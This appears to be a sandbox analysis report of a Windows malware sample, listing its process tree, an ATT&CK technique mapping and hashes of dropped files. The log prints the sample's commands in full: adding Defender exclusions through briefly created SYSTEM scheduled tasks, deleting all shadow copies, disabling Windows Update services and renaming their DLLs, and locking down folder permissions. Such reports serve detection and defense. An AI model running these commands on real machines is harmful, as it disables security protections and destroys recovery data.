    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5760
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:2728
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:1220
- C:\Program Files (x86)\zi1qvK\f87okC.exe
  "C:\Program Files (x86)\zi1qvK\f87okC.exe"
  2⤵
  - UAC bypass
  - Drops file in Drivers directory
  - Executes dropped EXE
  - Loads dropped DLL
  - Adds Run key to start application
  - Drops file in Program Files directory
  - Event Triggered Execution: Screensaver
  - Reads the TCP/IP host and domain name from the registry
  - System Location Discovery: System Language Discovery
  - Checks processor information in registry
  - Modifies Control Panel
  - Suspicious use of WriteProcessMemory
  - System policy modification
  PID:4060
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c vssadmin delete shadows /all /quiet
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:1800
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\zi1qvK" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3904
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\zi1qvK" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:1968
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:1348
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:4908
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\zi1qvK" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3644
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\zi1qvK" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:4840
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /q /c "@echo off & (for %i in (wuauserv UsoSvc uhssvc WaaSMedicSvc) do ( net stop %i >nul 2>&1 & sc config %i start= disabled >nul 2>&1 & sc failure %i reset= 0 actions= "" >nul 2>&1 )) & (for %i in (WaaSMedicSvc wuaueng) do ( takeown /f C:\Windows\System32\%i.dll >nul 2>&1 & icacls C:\Windows\System32\%i.dll /grant *S-1-1-0:F >nul 2>&1 & rename C:\Windows\System32\%i.dll %i_BAK.dll >nul 2>&1 & icacls C:\Windows\System32\%i_BAK.dll /setowner "NT SERVICE\TrustedInstaller" >nul 2>&1 & icacls C:\Windows\System32\%i_BAK.dll /remove *S-1-1-0 >nul 2>&1 )) & reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f >nul 2>&1 & reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v FailureActions /t REG_BINARY /d 000000000000000000000000030000001400000000000000c0d4010000000000e09304000000000000000000 /f >nul 2>&1 & reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f >nul 2>&1 & erase /f /s /q c:\windows\softwaredistribution\*.* >nul 2>&1 & rmdir /s /q c:\windows\softwaredistribution >nul 2>&1 & powershell -NoProfile -WindowStyle Hidden -Command "& {Get-ScheduledTask -TaskPath '\Microsoft\Windows\InstallService\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateOrchestrator\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateAssistant\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WaaSMedic\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue;}" >nul 2>&1"
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4112
  - - C:\Windows\SysWOW64\net.exe
      net stop wuauserv
      4⤵
      PID:4568
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop wuauserv
        5⤵
        
        PID:5880
  - - C:\Windows\SysWOW64\sc.exe
      sc config wuauserv start= disabled
      4⤵
      Launches sc.exe
      PID:4228
  - - C:\Windows\SysWOW64\sc.exe
      sc failure wuauserv reset= 0 actions= ""
      4⤵
      Launches sc.exe
      PID:1500
  - - C:\Windows\SysWOW64\net.exe
      net stop UsoSvc
      4⤵
      PID:1924
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop UsoSvc
        5⤵
        
        PID:3144
  - - C:\Windows\SysWOW64\sc.exe
      sc config UsoSvc start= disabled
      4⤵
      Launches sc.exe
      PID:5368
  - - C:\Windows\SysWOW64\sc.exe
      sc failure UsoSvc reset= 0 actions= ""
      4⤵
      Launches sc.exe
      PID:4536
  - - C:\Windows\SysWOW64\net.exe
      net stop uhssvc
      4⤵
      PID:5740
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop uhssvc
        5⤵
        
        PID:2724
  - - C:\Windows\SysWOW64\sc.exe
      sc config uhssvc start= disabled
      4⤵
      Launches sc.exe
      PID:2964
  - - C:\Windows\SysWOW64\sc.exe
      sc failure uhssvc reset= 0 actions= ""
      4⤵
      Launches sc.exe
      PID:5048
  - - C:\Windows\SysWOW64\net.exe
      net stop WaaSMedicSvc
      4⤵
      PID:5348
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop WaaSMedicSvc
        5⤵
        
        PID:3540
  - - C:\Windows\SysWOW64\sc.exe
      sc config WaaSMedicSvc start= disabled
      4⤵
      Launches sc.exe
      PID:2656
  - - C:\Windows\SysWOW64\sc.exe
      sc failure WaaSMedicSvc reset= 0 actions= ""
      4⤵
      Launches sc.exe
      PID:3356
  - - C:\Windows\SysWOW64\takeown.exe
      takeown /f C:\Windows\System32\WaaSMedicSvc.dll
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:2004
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1220
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\WaaSMedicSvc_BAK.dll /setowner "NT SERVICE\TrustedInstaller"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1152
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\WaaSMedicSvc_BAK.dll /remove *S-1-1-0
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:5044
  - - C:\Windows\SysWOW64\takeown.exe
      takeown /f C:\Windows\System32\wuaueng.dll
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:5716
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\wuaueng.dll /grant *S-1-1-0:F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1636
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\wuaueng_BAK.dll /setowner "NT SERVICE\TrustedInstaller"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:5820
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\wuaueng_BAK.dll /remove *S-1-1-0
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:3676
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:5144
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v FailureActions /t REG_BINARY /d 000000000000000000000000030000001400000000000000c0d4010000000000e09304000000000000000000 /f
      4⤵
      PID:1200
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f
      4⤵
      PID:5328
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -WindowStyle Hidden -Command "& {Get-ScheduledTask -TaskPath '\Microsoft\Windows\InstallService\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateOrchestrator\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateAssistant\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WaaSMedic\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue;}"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:1228
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\zi1qvK\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3076
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\zi1qvK\" /t REG_DWORD /d 0 /f"
      4⤵
      System Location Discovery: System Language Discovery
      Scheduled Task/Job: Scheduled Task
      PID:1508
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      PID:5984
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      PID:5188
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\zi1qvK" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)
    3⤵
    - Executes a command shell one-liner
    PID:5244
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\zi1qvK" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:2540
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\zi1qvK\f87okC.exe" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    PID:1528
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\zi1qvK\f87okC.exe" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:6096
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\zi1qvK\f87okC.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    PID:4792
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\zi1qvK\f87okC.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:2132
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\zi1qvK\f87okC.exe" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    PID:2776
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\zi1qvK\f87okC.exe" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1340
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\zi1qvK\image.png" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    PID:4068
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\zi1qvK\image.png" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:3640
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\zi1qvK\image.png" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    PID:3396
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\zi1qvK\image.png" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:5784
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\zi1qvK\image.png" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    PID:3172
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\zi1qvK\image.png" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:3852
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\zi1qvK\thumbs.db" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    PID:2904
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\zi1qvK\thumbs.db" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4348
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\zi1qvK\thumbs.db" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    PID:3016
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\zi1qvK\thumbs.db" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4940
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\zi1qvK\thumbs.db" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    PID:5640
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\zi1qvK\thumbs.db" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:3792
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\zi1qvK\XPSPLOG.dll" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    PID:2676
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\zi1qvK\XPSPLOG.dll" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:3428
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    PID:6024
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:2120
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      PID:4488
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      PID:3352
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\zi1qvK\XPSPLOG.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    PID:4216
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\zi1qvK\XPSPLOG.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:2960
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\zi1qvK\XPSPLOG.dll" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    PID:4904
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\zi1qvK\XPSPLOG.dll" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4704
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    PID:4472
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4092
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      PID:5608
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      PID:2692
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    PID:3368
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4196
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      PID:5968
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      PID:5768
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    PID:5648
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:1480
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      PID:4840
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      PID:548

C:\Users\Public\Nzs9QA\srp2bE.exe
"C:\Users\Public\Nzs9QA\srp2bE.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1444

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4396
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:3852

C:\Windows\system32\cmd.exe
cmd.exe
1⤵
PID:1184

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2248
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:2968

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4336
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:5948

C:\Program Files (x86)\zi1qvK\f87okC.exe
"C:\Program Files (x86)\zi1qvK\f87okC.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:4776

C:\Program Files (x86)\zi1qvK\f87okC.exe
"C:\Program Files (x86)\zi1qvK\f87okC.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:4144

C:\Program Files (x86)\95u2Iz\6s79Hx.exe
"C:\Program Files (x86)\95u2Iz\6s79Hx.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:3420

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)\zi1qvK" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:708
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)\zi1qvK" /t REG_DWORD /d 0 /f
  2⤵
  PID:4668

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:2204
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
  2⤵
  PID:5240

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:3720
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
  2⤵
  PID:5188

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:6028
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
  2⤵
  PID:5872

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:1720
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
  2⤵
  PID:4308

C:\Program Files (x86)\95u2Iz\6s79Hx.exe
"C:\Program Files (x86)\95u2Iz\6s79Hx.exe"
1⤵
PID:4728

C:\Program Files (x86)\zi1qvK\f87okC.exe
"C:\Program Files (x86)\zi1qvK\f87okC.exe"
1⤵
PID:5052

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Screensaver

T1546.002

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Screensaver

T1546.002

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

File and Directory Permissions Modification

T1222

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

Clear Persistence

T1070.009

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

XPSPLOG.dll

Path C:\Program Files (x86)\95u2Iz\XPSPLOG.dll
Size 4.6MB
SHA256 015987b826e4ce9ac4bedfef437ed95762d18699b121b7b5803a236b735bad90
MD5 8ab4fc1fa7f0282e25f8ee011315b7f2
SHA1 ac33b9697938d471b5f3bc26d9868f4a163d23cb
SHA512 7e026d3a0c6acbad4feb918b0eb5f11f68a44c4ddc2c4550204d1fba5a2d11f8d65245bd8137f116b0c4ced382af28ca14da88ab5f51ef88721cc30552555dc2
SSDEEP 98304:yCMWmcKfST5t+BceThTHfaCCUqmJPCYvboB1fdmy0:BMWKfU+BcUTHCCCfqCiUffn0
TLSH
T103263349BADB025DD89672704F6AFD7EB2B92CCC4204DC4DD44DE587E8B2729703A90E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

image.png

Path C:\Program Files (x86)\95u2Iz\image.png
Size 4.8MB
SHA256 4673b966d31b84fdf8fda57dae352ce14984f295db255a0613082406ac8d942e
MD5 d3468ef9b74f5c0b917c1b18b1a0e70f
SHA1 f40ab76ad38bb72ceb52c009ac0d61c243300fc6
SHA512 ee73a07bbfc003bd337cae7b9b1a208339bc76da5ece9f36ff27207b16727c834f464a9d534c308701ca0ef8cdb9f141bd72b9d08f00e5a2cb20abf5c5736554
